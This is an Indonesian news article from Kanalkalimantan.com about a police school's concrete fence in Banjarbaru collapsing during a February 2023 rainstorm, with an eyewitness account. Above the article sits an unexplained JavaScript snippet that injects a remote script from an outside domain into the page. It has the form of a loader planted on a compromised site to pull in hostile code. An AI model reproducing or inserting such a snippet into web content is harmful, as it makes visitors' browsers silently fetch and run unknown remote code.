(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pagar SPN Polda Kalsel Ambruk saat Diterpa Hujan Deras

KANALKALIMANTAN.COM, BANJARBARU – Hujan deras disertai dengan angin kencang menerpa Kota Banjarbaru pada Rabu (22/2/2023) sekitar pukul 16.00 Wita, mengakibatkan bangunan pagar milik Sekolah Kepolisian Negara (SPN) Polda Kalimantan Selatan (Kalsel) di Jalan Bhayangkara, Banjarbaru Utara, ambruk.

Pagar beton berwarna kuning dengan ada sedikit pagar besi di atasnya ambruk ke arah jalan raya.

Salah seorang warga yang melihat kejadian tersebut, Rasidah mengatakan, ambruknya pagar tersebut terjadi sekitar pukul 18.20 Wita ketika keadaan hujan deras melanda.

“Robohnya waktu pas waktu angin ribut dan banyu turun dengan deras, kemudian langsung bunyi mandabau rabah (bunyi keras, seperti bangunan roboh),” ujar pemilik rumah makan Dapur Galuh, Kamis (23/2/2023) siang.

Rasidah sempat mengira bunyi yang dihasilkan dari ambruknya pagar tersebut sempat dikira berasal dari suara latihan siswa SPN Polda Kalsel.

Diceritakan Rasidah, waktu itu dirinya ingin menutup warung makan jelang waktu Magrib karena ada kegiatan di tempat lain, sehingga tutup lebih awal. Namun, waktu itu hujan disertai angin kencang menerpa Kota Banjarbaru.

Pagar milik Sekolah Kepolisian Negara (SPN) Polda Kalimantan Selatan (Kalsel) di Jalan Bhayangkara, Banjarbaru Utara, ambruk. Foto: Ibnu

Waktu kejadian, angin bertiup kencang membuat Rasidah ketakutan jika rumah makannya ikut ambruk, ketika dirinya keluar ia mendengar suara nyaring dari arah SPN Polda Kalsel, ketika dilihatnya ternyata pagar ambruk.

“Dua kali mendabau (suara pagar roboh) nyaring (keras) sampai kawan yang jualan disamping juga mendengar,” katanya.

Dilanjutkan Rasidah, selama ini pagar tersebut walau beberapa kali diterpa angin kenjang dan aliran deras air, baru kali ini pagar tersebut ambruk. Pada saat kejadian ketinggian air di Jalan Bhyangkara sekitar 30 cm.

Beruntung waktu kejadian tersebut tidak ada pengendara lewat saat pagar tersebut ambruk.

“Ada orang membawa anak lewat kaget Allahu Akbar sambil berteriak melihat kejadian itu,” bebernya.

Dari pantauan Kanalkalimantan.com, nampak pagar SPN Polda Kalsel ambruk kurang lebih 35 meter, puing-puing ambruknya pagar tersebut masih terlihat. Bahkan beberapa puing juga ada di seberang jalan dari SPN Polda Kalsel seperti puing beton dan pagar besi hanyut terbawa air.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie